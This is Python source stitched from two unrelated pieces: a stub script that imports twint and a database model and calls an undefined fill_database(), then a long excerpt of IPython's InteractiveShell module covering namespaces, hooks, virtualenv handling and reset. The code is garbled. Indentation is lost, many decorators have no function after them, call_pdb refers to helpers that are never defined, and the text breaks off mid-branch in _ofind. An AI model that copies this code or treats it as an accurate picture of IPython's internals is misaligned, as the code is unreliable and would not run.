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import database_model as db
from database_model import Politician, Tweet, Hashtag
import sqlalchemy
import twint
import arrow
if __name__ == "__main__":
fill_database()
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# -*- coding: utf-8 -*-
"""Main IPython class."""
#-----------------------------------------------------------------------------
# Copyright (C) 2001 Janko Hauser <[email protected]>
# Copyright (C) 2001-2007 Fernando Perez. <[email protected]>
# Copyright (C) 2008-2011 The IPython Development Team
#
# Distributed under the terms of the BSD License. The full license is in
# the file COPYING, distributed as part of this software.
#-----------------------------------------------------------------------------
import abc
import ast
import atexit
import builtins as builtin_mod
import functools
import inspect
import os
import re
import runpy
import sys
import tempfile
import traceback
import types
import subprocess
import warnings
from io import open as io_open
from pickleshare import PickleShareDB
from traitlets.config.configurable import SingletonConfigurable
from traitlets.utils.importstring import import_item
from IPython.core import oinspect
from IPython.core import magic
from IPython.core import page
from IPython.core import prefilter
from IPython.core import ultratb
from IPython.core.alias import Alias, AliasManager
from IPython.core.autocall import ExitAutocall
from IPython.core.builtin_trap import BuiltinTrap
from IPython.core.events import EventManager, available_events
from IPython.core.compilerop import CachingCompiler, check_linecache_ipython
from IPython.core.debugger import Pdb
from IPython.core.display_trap import DisplayTrap
from IPython.core.displayhook import DisplayHook
from IPython.core.displaypub import DisplayPublisher
from IPython.core.error import InputRejected, UsageError
from IPython.core.extensions import ExtensionManager
from IPython.core.formatters import DisplayFormatter
from IPython.core.history import HistoryManager
from IPython.core.inputtransformer2 import ESC_MAGIC, ESC_MAGIC2
from IPython.core.logger import Logger
from IPython.core.macro import Macro
from IPython.core.payload import PayloadManager
from IPython.core.prefilter import PrefilterManager
from IPython.core.profiledir import ProfileDir
from IPython.core.usage import default_banner
from IPython.display import display
from IPython.testing.skipdoctest import skip_doctest
from IPython.utils import PyColorize
from IPython.utils import io
from IPython.utils import py3compat
from IPython.utils import openpy
from IPython.utils.decorators import undoc
from IPython.utils.io import ask_yes_no
from IPython.utils.ipstruct import Struct
from IPython.paths import get_ipython_dir
from IPython.utils.path import get_home_dir, get_py_filename, ensure_dir_exists
from IPython.utils.process import system, getoutput
from IPython.utils.strdispatch import StrDispatch
from IPython.utils.syspathcontext import prepended_to_syspath
from IPython.utils.text import format_screen, LSString, SList, DollarFormatter
from IPython.utils.tempdir import TemporaryDirectory
from traitlets import (
Integer, Bool, CaselessStrEnum, Enum, List, Dict, Unicode, Instance, Type,
observe, default, validate, Any
)
from warnings import warn
from logging import error
import IPython.core.hooks
from typing import List as ListType, Tuple, Optional
from ast import AST
# NoOpContext is deprecated, but ipykernel imports it from here.
# See https://github.com/ipython/ipykernel/issues/157
# (2016, let's try to remove than in IPython 8.0)
from IPython.utils.contexts import NoOpContext
try:
import docrepr.sphinxify as sphx
except ImportError:
sphinxify = None
class ProvisionalWarning(DeprecationWarning):
"""
Warning class for unstable features
"""
pass
if sys.version_info > (3,8):
from ast import Module
else :
# mock the new API, ignore second argument
# see https://github.com/ipython/ipython/issues/11590
from ast import Module as OriginalModule
Module = lambda nodelist, type_ignores: OriginalModule(nodelist)
if sys.version_info > (3,6):
_assign_nodes = (ast.AugAssign, ast.AnnAssign, ast.Assign)
_single_targets_nodes = (ast.AugAssign, ast.AnnAssign)
else:
_assign_nodes = (ast.AugAssign, ast.Assign )
_single_targets_nodes = (ast.AugAssign, )
#-----------------------------------------------------------------------------
# Await Helpers
#-----------------------------------------------------------------------------
def removed_co_newlocals(function:types.FunctionType) -> types.FunctionType:
"""Return a function that do not create a new local scope.
Given a function, create a clone of this function where the co_newlocal flag
has been removed, making this function code actually run in the sourounding
scope.
We need this in order to run asynchronous code in user level namespace.
"""
from types import CodeType, FunctionType
CO_NEWLOCALS = 0x0002
code = function.__code__
new_co_flags = code.co_flags & ~CO_NEWLOCALS
if sys.version_info > (3, 8, 0, 'alpha', 3):
new_code = code.replace(co_flags=new_co_flags)
else:
new_code = CodeType(
code.co_argcount,
code.co_kwonlyargcount,
code.co_nlocals,
code.co_stacksize,
new_co_flags,
code.co_code,
code.co_consts,
code.co_names,
code.co_varnames,
code.co_filename,
code.co_name,
code.co_firstlineno,
code.co_lnotab,
code.co_freevars,
code.co_cellvars
)
return FunctionType(new_code, globals(), function.__name__, function.__defaults__)
# we still need to run things using the asyncio eventloop, but there is no
# async integration
from .async_helpers import (_asyncio_runner, _asyncify, _pseudo_sync_runner)
from .async_helpers import _curio_runner, _trio_runner, _should_be_async
def _ast_asyncify(cell:str, wrapper_name:str) -> ast.Module:
"""
Parse a cell with top-level await and modify the AST to be able to run it later.
Parameter
---------
cell: str
The code cell to asyncronify
wrapper_name: str
The name of the function to be used to wrap the passed `cell`. It is
advised to **not** use a python identifier in order to not pollute the
global namespace in which the function will be ran.
Return
------
A module object AST containing **one** function named `wrapper_name`.
The given code is wrapped in a async-def function, parsed into an AST, and
the resulting function definition AST is modified to return the last
expression.
The last expression or await node is moved into a return statement at the
end of the function, and removed from its original location. If the last
node is not Expr or Await nothing is done.
The function `__code__` will need to be later modified (by
``removed_co_newlocals``) in a subsequent step to not create new `locals()`
meaning that the local and global scope are the same, ie as if the body of
the function was at module level.
Lastly a call to `locals()` is made just before the last expression of the
function, or just after the last assignment or statement to make sure the
global dict is updated as python function work with a local fast cache which
is updated only on `local()` calls.
"""
from ast import Expr, Await, Return
if sys.version_info >= (3,8):
return ast.parse(cell)
tree = ast.parse(_asyncify(cell))
function_def = tree.body[0]
function_def.name = wrapper_name
try_block = function_def.body[0]
lastexpr = try_block.body[-1]
if isinstance(lastexpr, (Expr, Await)):
try_block.body[-1] = Return(lastexpr.value)
ast.fix_missing_locations(tree)
return tree
#-----------------------------------------------------------------------------
# Globals
#-----------------------------------------------------------------------------
# compiled regexps for autoindent management
dedent_re = re.compile(r'^\s+raise|^\s+return|^\s+pass')
#-----------------------------------------------------------------------------
# Utilities
#-----------------------------------------------------------------------------
@undoc
def softspace(file, newvalue):
"""Copied from code.py, to remove the dependency"""
oldvalue = 0
try:
oldvalue = file.softspace
except AttributeError:
pass
try:
file.softspace = newvalue
except (AttributeError, TypeError):
# "attribute-less object" or "read-only attributes"
pass
return oldvalue
@undoc
def get_default_colors():
"DEPRECATED"
warn('get_default_color is deprecated since IPython 5.0, and returns `Neutral` on all platforms.',
DeprecationWarning, stacklevel=2)
return 'Neutral'
class SeparateUnicode(Unicode):
r"""A Unicode subclass to validate separate_in, separate_out, etc.
This is a Unicode based trait that converts '0'->'' and ``'\\n'->'\n'``.
"""
@undoc
class DummyMod(object):
"""A dummy module used for IPython's interactive module when
a namespace must be assigned to the module's __dict__."""
__spec__ = None
class ExecutionInfo(object):
"""The arguments used for a call to :meth:`InteractiveShell.run_cell`
Stores information about what is going to happen.
"""
raw_cell = None
store_history = False
silent = False
shell_futures = True
class ExecutionResult(object):
"""The result of a call to :meth:`InteractiveShell.run_cell`
Stores information about what took place.
"""
execution_count = None
error_before_exec = None
error_in_exec = None
info = None
result = None
@property
def raise_error(self):
"""Reraises error if `success` is `False`, otherwise does nothing"""
if self.error_before_exec is not None:
raise self.error_before_exec
if self.error_in_exec is not None:
raise self.error_in_exec
class InteractiveShell(SingletonConfigurable):
"""An enhanced, interactive shell for Python."""
_instance = None
ast_transformers = List([], help=
"""
A list of ast.NodeTransformer subclass instances, which will be applied
to user input before code is run.
"""
).tag(config=True)
autocall = Enum((0,1,2), default_value=0, help=
"""
Make IPython automatically call any callable object even if you didn't
type explicit parentheses. For example, 'str 43' becomes 'str(43)'
automatically. The value can be '0' to disable the feature, '1' for
'smart' autocall, where it is not applied if there are no more
arguments on the line, and '2' for 'full' autocall, where all callable
objects are automatically called (even if no arguments are present).
"""
).tag(config=True)
autoindent = Bool(True, help=
"""
Autoindent IPython code entered interactively.
"""
).tag(config=True)
autoawait = Bool(True, help=
"""
Automatically run await statement in the top level repl.
"""
).tag(config=True)
loop_runner_map ={
'asyncio':(_asyncio_runner, True),
'curio':(_curio_runner, True),
'trio':(_trio_runner, True),
'sync': (_pseudo_sync_runner, False)
}
loop_runner = Any(default_value="IPython.core.interactiveshell._asyncio_runner",
allow_none=True,
help="""Select the loop runner that will be used to execute top-level asynchronous code"""
).tag(config=True)
@default('loop_runner')
@validate('loop_runner')
automagic = Bool(True, help=
"""
Enable magic commands to be called without the leading %.
"""
).tag(config=True)
banner1 = Unicode(default_banner,
help="""The part of the banner to be printed before the profile"""
).tag(config=True)
banner2 = Unicode('',
help="""The part of the banner to be printed after the profile"""
).tag(config=True)
cache_size = Integer(1000, help=
"""
Set the size of the output cache. The default is 1000, you can
change it permanently in your config file. Setting it to 0 completely
disables the caching system, and the minimum value accepted is 3 (if
you provide a value less than 3, it is reset to 0 and a warning is
issued). This limit is defined because otherwise you'll spend more
time re-flushing a too small cache than working
"""
).tag(config=True)
color_info = Bool(True, help=
"""
Use colors for displaying information about objects. Because this
information is passed through a pager (like 'less'), and some pagers
get confused with color codes, this capability can be turned off.
"""
).tag(config=True)
colors = CaselessStrEnum(('Neutral', 'NoColor','LightBG','Linux'),
default_value='Neutral',
help="Set the color scheme (NoColor, Neutral, Linux, or LightBG)."
).tag(config=True)
debug = Bool(False).tag(config=True)
disable_failing_post_execute = Bool(False,
help="Don't call post-execute functions that have failed in the past."
).tag(config=True)
display_formatter = Instance(DisplayFormatter, allow_none=True)
displayhook_class = Type(DisplayHook)
display_pub_class = Type(DisplayPublisher)
compiler_class = Type(CachingCompiler)
sphinxify_docstring = Bool(False, help=
"""
Enables rich html representation of docstrings. (This requires the
docrepr module).
""").tag(config=True)
@observe("sphinxify_docstring")
enable_html_pager = Bool(False, help=
"""
(Provisional API) enables html representation in mime bundles sent
to pagers.
""").tag(config=True)
@observe("enable_html_pager")
data_pub_class = None
exit_now = Bool(False)
exiter = Instance(ExitAutocall)
@default('exiter')
# Monotonically increasing execution counter
execution_count = Integer(1)
filename = Unicode("<ipython console>")
ipython_dir= Unicode('').tag(config=True) # Set to get_ipython_dir() in __init__
# Used to transform cells before running them, and check whether code is complete
input_transformer_manager = Instance('IPython.core.inputtransformer2.TransformerManager',
())
@property
input_transformers_post = List([],
help="A list of string input transformers, to be applied after IPython's "
"own input transformations."
)
@property
def input_splitter(self):
"""Make this available for backward compatibility (pre-7.0 release) with existing code.
For example, ipykernel ipykernel currently uses
`shell.input_splitter.check_complete`
"""
from warnings import warn
warn("`input_splitter` is deprecated since IPython 7.0, prefer `input_transformer_manager`.",
DeprecationWarning, stacklevel=2
)
return self.input_transformer_manager
logstart = Bool(False, help=
"""
Start logging to the default log file in overwrite mode.
Use `logappend` to specify a log file to **append** logs to.
"""
).tag(config=True)
logfile = Unicode('', help=
"""
The name of the logfile to use.
"""
).tag(config=True)
logappend = Unicode('', help=
"""
Start logging to the given file in append mode.
Use `logfile` to specify a log file to **overwrite** logs to.
"""
).tag(config=True)
object_info_string_level = Enum((0,1,2), default_value=0,
).tag(config=True)
pdb = Bool(False, help=
"""
Automatically call the pdb debugger after every exception.
"""
).tag(config=True)
display_page = Bool(False,
help="""If True, anything that would be passed to the pager
will be displayed as regular output instead."""
).tag(config=True)
# deprecated prompt traits:
prompt_in1 = Unicode('In [\\#]: ',
help="Deprecated since IPython 4.0 and ignored since 5.0, set TerminalInteractiveShell.prompts object directly."
).tag(config=True)
prompt_in2 = Unicode(' .\\D.: ',
help="Deprecated since IPython 4.0 and ignored since 5.0, set TerminalInteractiveShell.prompts object directly."
).tag(config=True)
prompt_out = Unicode('Out[\\#]: ',
help="Deprecated since IPython 4.0 and ignored since 5.0, set TerminalInteractiveShell.prompts object directly."
).tag(config=True)
prompts_pad_left = Bool(True,
help="Deprecated since IPython 4.0 and ignored since 5.0, set TerminalInteractiveShell.prompts object directly."
).tag(config=True)
@observe('prompt_in1', 'prompt_in2', 'prompt_out', 'prompt_pad_left')
show_rewritten_input = Bool(True,
help="Show rewritten input, e.g. for autocall."
).tag(config=True)
quiet = Bool(False).tag(config=True)
history_length = Integer(10000,
help='Total length of command history'
).tag(config=True)
history_load_length = Integer(1000, help=
"""
The number of saved history entries to be loaded
into the history buffer at startup.
"""
).tag(config=True)
ast_node_interactivity = Enum(['all', 'last', 'last_expr', 'none', 'last_expr_or_assign'],
default_value='last_expr',
help="""
'all', 'last', 'last_expr' or 'none', 'last_expr_or_assign' specifying
which nodes should be run interactively (displaying output from expressions).
"""
).tag(config=True)
# TODO: this part of prompt management should be moved to the frontends.
# Use custom TraitTypes that convert '0'->'' and '\\n'->'\n'
separate_in = SeparateUnicode('\n').tag(config=True)
separate_out = SeparateUnicode('').tag(config=True)
separate_out2 = SeparateUnicode('').tag(config=True)
wildcards_case_sensitive = Bool(True).tag(config=True)
xmode = CaselessStrEnum(('Context', 'Plain', 'Verbose', 'Minimal'),
default_value='Context',
help="Switch modes for the IPython exception handlers."
).tag(config=True)
# Subcomponents of InteractiveShell
alias_manager = Instance('IPython.core.alias.AliasManager', allow_none=True)
prefilter_manager = Instance('IPython.core.prefilter.PrefilterManager', allow_none=True)
builtin_trap = Instance('IPython.core.builtin_trap.BuiltinTrap', allow_none=True)
display_trap = Instance('IPython.core.display_trap.DisplayTrap', allow_none=True)
extension_manager = Instance('IPython.core.extensions.ExtensionManager', allow_none=True)
payload_manager = Instance('IPython.core.payload.PayloadManager', allow_none=True)
history_manager = Instance('IPython.core.history.HistoryAccessorBase', allow_none=True)
magics_manager = Instance('IPython.core.magic.MagicsManager', allow_none=True)
profile_dir = Instance('IPython.core.application.ProfileDir', allow_none=True)
@property
# Private interface
_post_execute = Dict()
# Tracks any GUI loop loaded for pylab
pylab_gui_select = None
last_execution_succeeded = Bool(True, help='Did last executed command succeeded')
last_execution_result = Instance('IPython.core.interactiveshell.ExecutionResult', help='Result of executing the last command', allow_none=True)
def get_ipython(self):
"""Return the currently running IPython instance."""
return self
#-------------------------------------------------------------------------
# Trait changed handlers
#-------------------------------------------------------------------------
@observe('ipython_dir')
def set_autoindent(self,value=None):
"""Set the autoindent flag.
If called with no arguments, it acts as a toggle."""
if value is None:
self.autoindent = not self.autoindent
else:
self.autoindent = value
#-------------------------------------------------------------------------
# init_* methods called by __init__
#-------------------------------------------------------------------------
def init_environment(self):
"""Any changes we need to make to the user's environment."""
pass
@observe('colors')
def init_logstart(self):
"""Initialize logging in case it was requested at the command line.
"""
if self.logappend:
self.magic('logstart %s append' % self.logappend)
elif self.logfile:
self.magic('logstart %s' % self.logfile)
elif self.logstart:
self.magic('logstart')
def init_deprecation_warnings(self):
"""
register default filter for deprecation warning.
This will allow deprecation warning of function used interactively to show
warning to users, and still hide deprecation warning from libraries import.
"""
if sys.version_info < (3,7):
warnings.filterwarnings("default", category=DeprecationWarning, module=self.user_ns.get("__name__"))
@observe('colors')
def init_virtualenv(self):
"""Add a virtualenv to sys.path so the user can import modules from it.
This isn't perfect: it doesn't use the Python interpreter with which the
virtualenv was built, and it ignores the --no-site-packages option. A
warning will appear suggesting the user installs IPython in the
virtualenv, but for many cases, it probably works well enough.
Adapted from code snippets online.
http://blog.ufsoft.org/2009/1/29/ipython-and-virtualenv
"""
if 'VIRTUAL_ENV' not in os.environ:
# Not in a virtualenv
return
p = os.path.normcase(sys.executable)
p_venv = os.path.normcase(os.environ['VIRTUAL_ENV'])
# executable path should end like /bin/python or \\scripts\\python.exe
p_exe_up2 = os.path.dirname(os.path.dirname(p))
if p_exe_up2 and os.path.exists(p_venv) and os.path.samefile(p_exe_up2, p_venv):
# Our exe is inside the virtualenv, don't need to do anything.
return
# fallback venv detection:
# stdlib venv may symlink sys.executable, so we can't use realpath.
# but others can symlink *to* the venv Python, so we can't just use sys.executable.
# So we just check every item in the symlink tree (generally <= 3)
paths = [p]
while os.path.islink(p):
p = os.path.normcase(os.path.join(os.path.dirname(p), os.readlink(p)))
paths.append(p)
# In Cygwin paths like "c:\..." and '\cygdrive\c\...' are possible
if p_venv.startswith('\\cygdrive'):
p_venv = p_venv[11:]
elif len(p_venv) >= 2 and p_venv[1] == ':':
p_venv = p_venv[2:]
if any(p_venv in p for p in paths):
# Running properly in the virtualenv, don't need to do anything
return
warn("Attempting to work in a virtualenv. If you encounter problems, please "
"install IPython inside the virtualenv.")
if sys.platform == "win32":
virtual_env = os.path.join(os.environ['VIRTUAL_ENV'], 'Lib', 'site-packages')
else:
virtual_env = os.path.join(os.environ['VIRTUAL_ENV'], 'lib',
'python%d.%d' % sys.version_info[:2], 'site-packages')
import site
sys.path.insert(0, virtual_env)
site.addsitedir(virtual_env)
#-------------------------------------------------------------------------
# Things related to injections into the sys module
#-------------------------------------------------------------------------
def save_sys_module_state(self):
"""Save the state of hooks in the sys module.
This has to be called after self.user_module is created.
"""
self._orig_sys_module_state = {'stdin': sys.stdin,
'stdout': sys.stdout,
'stderr': sys.stderr,
'excepthook': sys.excepthook}
self._orig_sys_modules_main_name = self.user_module.__name__
self._orig_sys_modules_main_mod = sys.modules.get(self.user_module.__name__)
def restore_sys_module_state(self):
"""Restore the state of the sys module."""
try:
for k, v in self._orig_sys_module_state.items():
setattr(sys, k, v)
except AttributeError:
pass
# Reset what what done in self.init_sys_modules
if self._orig_sys_modules_main_mod is not None:
sys.modules[self._orig_sys_modules_main_name] = self._orig_sys_modules_main_mod
#-------------------------------------------------------------------------
# Things related to the banner
#-------------------------------------------------------------------------
@property
#-------------------------------------------------------------------------
# Things related to hooks
#-------------------------------------------------------------------------
def set_hook(self,name,hook, priority=50, str_key=None, re_key=None,
_warn_deprecated=True):
"""set_hook(name,hook) -> sets an internal IPython hook.
IPython exposes some of its internal API as user-modifiable hooks. By
adding your function to one of these hooks, you can modify IPython's
behavior to call at runtime your own routines."""
# At some point in the future, this should validate the hook before it
# accepts it. Probably at least check that the hook takes the number
# of args it's supposed to.
f = types.MethodType(hook,self)
# check if the hook is for strdispatcher first
if str_key is not None:
sdp = self.strdispatchers.get(name, StrDispatch())
sdp.add_s(str_key, f, priority )
self.strdispatchers[name] = sdp
return
if re_key is not None:
sdp = self.strdispatchers.get(name, StrDispatch())
sdp.add_re(re.compile(re_key), f, priority )
self.strdispatchers[name] = sdp
return
dp = getattr(self.hooks, name, None)
if name not in IPython.core.hooks.__all__:
print("Warning! Hook '%s' is not one of %s" % \
(name, IPython.core.hooks.__all__ ))
if _warn_deprecated and (name in IPython.core.hooks.deprecated):
alternative = IPython.core.hooks.deprecated[name]
warn("Hook {} is deprecated. Use {} instead.".format(name, alternative), stacklevel=2)
if not dp:
dp = IPython.core.hooks.CommandChainDispatcher()
try:
dp.add(f,priority)
except AttributeError:
# it was not commandchain, plain old func - replace
dp = f
setattr(self.hooks,name, dp)
#-------------------------------------------------------------------------
# Things related to events
#-------------------------------------------------------------------------
def register_post_execute(self, func):
"""DEPRECATED: Use ip.events.register('post_run_cell', func)
Register a function for calling after code execution.
"""
warn("ip.register_post_execute is deprecated, use "
"ip.events.register('post_run_cell', func) instead.", stacklevel=2)
self.events.register('post_run_cell', func)
#-------------------------------------------------------------------------
# Things related to the "main" module
#-------------------------------------------------------------------------
def new_main_mod(self, filename, modname):
"""Return a new 'main' module object for user code execution.
``filename`` should be the path of the script which will be run in the
module. Requests with the same filename will get the same module, with
its namespace cleared.
``modname`` should be the module name - normally either '__main__' or
the basename of the file without the extension.
When scripts are executed via %run, we must keep a reference to their
__main__ module around so that Python doesn't
clear it, rendering references to module globals useless.
This method keeps said reference in a private dict, keyed by the
absolute path of the script. This way, for multiple executions of the
same script we only keep one copy of the namespace (the last one),
thus preventing memory leaks from old references while allowing the
objects from the last execution to be accessible.
"""
filename = os.path.abspath(filename)
try:
main_mod = self._main_mod_cache[filename]
except KeyError:
main_mod = self._main_mod_cache[filename] = types.ModuleType(
modname,
doc="Module created for script run in IPython")
else:
main_mod.__dict__.clear()
main_mod.__name__ = modname
main_mod.__file__ = filename
# It seems pydoc (and perhaps others) needs any module instance to
# implement a __nonzero__ method
main_mod.__nonzero__ = lambda : True
return main_mod
def clear_main_mod_cache(self):
"""Clear the cache of main modules.
Mainly for use by utilities like %reset.
Examples
--------
In [15]: import IPython
In [16]: m = _ip.new_main_mod(IPython.__file__, 'IPython')
In [17]: len(_ip._main_mod_cache) > 0
Out[17]: True
In [18]: _ip.clear_main_mod_cache()
In [19]: len(_ip._main_mod_cache) == 0
Out[19]: True
"""
self._main_mod_cache.clear()
#-------------------------------------------------------------------------
# Things related to debugging
#-------------------------------------------------------------------------
call_pdb = property(_get_call_pdb,_set_call_pdb,None,
'Control auto-activation of pdb at exceptions')
def debugger(self,force=False):
"""Call the pdb debugger.
Keywords:
- force(False): by default, this routine checks the instance call_pdb
flag and does not actually invoke the debugger if the flag is false.
The 'force' option forces the debugger to activate even if the flag
is false.
"""
if not (force or self.call_pdb):
return
if not hasattr(sys,'last_traceback'):
error('No traceback has been produced, nothing to debug.')
return
self.InteractiveTB.debugger(force=True)
#-------------------------------------------------------------------------
# Things related to IPython's various namespaces
#-------------------------------------------------------------------------
default_user_namespaces = True
@property
def prepare_user_module(self, user_module=None, user_ns=None):
"""Prepare the module and namespace in which user code will be run.
When IPython is started normally, both parameters are None: a new module
is created automatically, and its __dict__ used as the namespace.
If only user_module is provided, its __dict__ is used as the namespace.
If only user_ns is provided, a dummy module is created, and user_ns
becomes the global namespace. If both are provided (as they may be
when embedding), user_ns is the local namespace, and user_module
provides the global namespace.
Parameters
----------
user_module : module, optional
The current user module in which IPython is being run. If None,
a clean module will be created.
user_ns : dict, optional
A namespace in which to run interactive commands.
Returns
-------
A tuple of user_module and user_ns, each properly initialised.
"""
if user_module is None and user_ns is not None:
user_ns.setdefault("__name__", "__main__")
user_module = DummyMod()
user_module.__dict__ = user_ns
if user_module is None:
user_module = types.ModuleType("__main__",
doc="Automatically created module for IPython interactive environment")
# We must ensure that __builtin__ (without the final 's') is always
# available and pointing to the __builtin__ *module*. For more details:
# http://mail.python.org/pipermail/python-dev/2001-April/014068.html
user_module.__dict__.setdefault('__builtin__', builtin_mod)
user_module.__dict__.setdefault('__builtins__', builtin_mod)
if user_ns is None:
user_ns = user_module.__dict__
return user_module, user_ns
def init_user_ns(self):
"""Initialize all user-visible namespaces to their minimum defaults.
Certain history lists are also initialized here, as they effectively
act as user namespaces.
Notes
-----
All data structures here are only filled in, they are NOT reset by this
method. If they were not empty before, data will simply be added to
them.
"""
# This function works in two parts: first we put a few things in
# user_ns, and we sync that contents into user_ns_hidden so that these
# initial variables aren't shown by %who. After the sync, we add the
# rest of what we *do* want the user to see with %who even on a new
# session (probably nothing, so they really only see their own stuff)
# The user dict must *always* have a __builtin__ reference to the
# Python standard __builtin__ namespace, which must be imported.
# This is so that certain operations in prompt evaluation can be
# reliably executed with builtins. Note that we can NOT use
# __builtins__ (note the 's'), because that can either be a dict or a
# module, and can even mutate at runtime, depending on the context
# (Python makes no guarantees on it). In contrast, __builtin__ is
# always a module object, though it must be explicitly imported.
# For more details:
# http://mail.python.org/pipermail/python-dev/2001-April/014068.html
ns = {}
# make global variables for user access to the histories
ns['_ih'] = self.history_manager.input_hist_parsed
ns['_oh'] = self.history_manager.output_hist
ns['_dh'] = self.history_manager.dir_hist
# user aliases to input and output histories. These shouldn't show up
# in %who, as they can have very large reprs.
ns['In'] = self.history_manager.input_hist_parsed
ns['Out'] = self.history_manager.output_hist
# Store myself as the public api!!!
ns['get_ipython'] = self.get_ipython
ns['exit'] = self.exiter
ns['quit'] = self.exiter
# Sync what we've added so far to user_ns_hidden so these aren't seen
# by %who
self.user_ns_hidden.update(ns)
# Anything put into ns now would show up in %who. Think twice before
# putting anything here, as we really want %who to show the user their
# stuff, not our variables.
# Finally, update the real user's namespace
self.user_ns.update(ns)
@property
def all_ns_refs(self):
"""Get a list of references to all the namespace dictionaries in which
IPython might store a user-created object.
Note that this does not include the displayhook, which also caches
objects from the output."""
return [self.user_ns, self.user_global_ns, self.user_ns_hidden] + \
[m.__dict__ for m in self._main_mod_cache.values()]
def reset(self, new_session=True, aggressive=False):
"""Clear all internal namespaces, and attempt to release references to
user objects.
If new_session is True, a new history session will be opened.
"""
# Clear histories
self.history_manager.reset(new_session)
# Reset counter used to index all histories
if new_session:
self.execution_count = 1
# Reset last execution result
self.last_execution_succeeded = True
self.last_execution_result = None
# Flush cached output items
if self.displayhook.do_full_cache:
self.displayhook.flush()
# The main execution namespaces must be cleared very carefully,
# skipping the deletion of the builtin-related keys, because doing so
# would cause errors in many object's __del__ methods.
if self.user_ns is not self.user_global_ns:
self.user_ns.clear()
ns = self.user_global_ns
drop_keys = set(ns.keys())
drop_keys.discard('__builtin__')
drop_keys.discard('__builtins__')
drop_keys.discard('__name__')
for k in drop_keys:
del ns[k]
self.user_ns_hidden.clear()
# Restore the user namespaces to minimal usability
self.init_user_ns()
if aggressive and not hasattr(self, "_sys_modules_keys"):
print("Cannot restore sys.module, no snapshot")
elif aggressive:
print("culling sys module...")
current_keys = set(sys.modules.keys())
for k in current_keys - self._sys_modules_keys:
if k.startswith("multiprocessing"):
continue
del sys.modules[k]
# Restore the default and user aliases
self.alias_manager.clear_aliases()
self.alias_manager.init_aliases()
# Now define aliases that only make sense on the terminal, because they
# need direct access to the console in a way that we can't emulate in
# GUI or web frontend
if os.name == 'posix':
for cmd in ('clear', 'more', 'less', 'man'):
if cmd not in self.magics_manager.magics['line']:
self.alias_manager.soft_define_alias(cmd, cmd)
# Flush the private list of module references kept for script
# execution protection
self.clear_main_mod_cache()
def del_var(self, varname, by_name=False):
"""Delete a variable from the various namespaces, so that, as
far as possible, we're not keeping any hidden references to it.
Parameters
----------
varname : str
The name of the variable to delete.
by_name : bool
If True, delete variables with the given name in each
namespace. If False (default), find the variable in the user
namespace, and delete references to it.
"""
if varname in ('__builtin__', '__builtins__'):
raise ValueError("Refusing to delete %s" % varname)
ns_refs = self.all_ns_refs
if by_name: # Delete by name
for ns in ns_refs:
try:
del ns[varname]
except KeyError:
pass
else: # Delete by object
try:
obj = self.user_ns[varname]
except KeyError:
raise NameError("name '%s' is not defined" % varname)
# Also check in output history
ns_refs.append(self.history_manager.output_hist)
for ns in ns_refs:
to_delete = [n for n, o in ns.items() if o is obj]
for name in to_delete:
del ns[name]
# Ensure it is removed from the last execution result
if self.last_execution_result.result is obj:
self.last_execution_result = None
# displayhook keeps extra references, but not in a dictionary
for name in ('_', '__', '___'):
if getattr(self.displayhook, name) is obj:
setattr(self.displayhook, name, None)
def reset_selective(self, regex=None):
"""Clear selective variables from internal namespaces based on a
specified regular expression.
Parameters
----------
regex : string or compiled pattern, optional
A regular expression pattern that will be used in searching
variable names in the users namespaces.
"""
if regex is not None:
try:
m = re.compile(regex)
except TypeError:
raise TypeError('regex must be a string or compiled pattern')
# Search for keys in each namespace that match the given regex
# If a match is found, delete the key/value pair.
for ns in self.all_ns_refs:
for var in ns:
if m.search(var):
del ns[var]
def push(self, variables, interactive=True):
"""Inject a group of variables into the IPython user namespace.
Parameters
----------
variables : dict, str or list/tuple of str
The variables to inject into the user's namespace. If a dict, a
simple update is done. If a str, the string is assumed to have
variable names separated by spaces. A list/tuple of str can also
be used to give the variable names. If just the variable names are
give (list/tuple/str) then the variable values looked up in the
callers frame.
interactive : bool
If True (default), the variables will be listed with the ``who``
magic.
"""
vdict = None
# We need a dict of name/value pairs to do namespace updates.
if isinstance(variables, dict):
vdict = variables
elif isinstance(variables, (str, list, tuple)):
if isinstance(variables, str):
vlist = variables.split()
else:
vlist = variables
vdict = {}
cf = sys._getframe(1)
for name in vlist:
try:
vdict[name] = eval(name, cf.f_globals, cf.f_locals)
except:
print('Could not get variable %s from %s' %
(name,cf.f_code.co_name))
else:
raise ValueError('variables must be a dict/str/list/tuple')
# Propagate variables to user namespace
self.user_ns.update(vdict)
# And configure interactive visibility
user_ns_hidden = self.user_ns_hidden
if interactive:
for name in vdict:
user_ns_hidden.pop(name, None)
else:
user_ns_hidden.update(vdict)
def drop_by_id(self, variables):
"""Remove a dict of variables from the user namespace, if they are the
same as the values in the dictionary.
This is intended for use by extensions: variables that they've added can
be taken back out if they are unloaded, without removing any that the
user has overwritten.
Parameters
----------
variables : dict
A dictionary mapping object names (as strings) to the objects.
"""
for name, obj in variables.items():
if name in self.user_ns and self.user_ns[name] is obj:
del self.user_ns[name]
self.user_ns_hidden.pop(name, None)
#-------------------------------------------------------------------------
# Things related to object introspection
#-------------------------------------------------------------------------
def _ofind(self, oname, namespaces=None):
"""Find an object in the available namespaces.
self._ofind(oname) -> dict with keys: found,obj,ospace,ismagic
Has special code to detect magic functions.
"""
oname = oname.strip()
if not oname.startswith(ESC_MAGIC) and \
not oname.startswith(ESC_MAGIC2) and \
not all(a.isidentifier() for a in oname.split(".")):
return {'found': False}
if namespaces is None:
# Namespaces to search in:
# Put them in a list. The order is important so that we
# find things in the same order that Python finds them.
namespaces = [ ('Interactive', self.user_ns),
('Interactive (global)', self.user_global_ns),
('Python builtin', builtin_mod.__dict__),
]
ismagic = False
isalias = False
found = False
ospace = None
parent = None
obj = None
# Look for the given name by splitting it in parts. If the head is
# found, then we look for all the remaining parts as members, and only
# declare success if we can find them all.
oname_parts = oname.split('.')
oname_head, oname_rest = oname_parts[0],oname_parts[1:]
for nsname,ns in namespaces:
try:
obj = ns[oname_head]
except KeyError:
continue
else:
for idx, part in enumerate(oname_rest):
try:
parent = obj
# The last part is looked up in a special way to avoid
# descriptor invocation as it may raise or have side
# effects.
if idx == len(oname_rest) - 1:
obj = self._getattr_property(obj, part)
else:
obj = getattr(obj, part)
except:
# Blanket except b/c some badly implemented objects
# allow __getattr__ to raise exceptions other than
# AttributeError, which then crashes IPython.
break
else:
# If we finish the for loop (no break), we got all members
found = True
ospace = nsname
break # namespace loop
# Try to see if it's magic
if not found:
obj = None
if oname.startswith(ESC_MAGIC2):
oname = oname.lstrip(ESC_MAGIC2)
obj = self.find_cell_magic(oname)
elif oname.startswith(ESC_MAGIC):
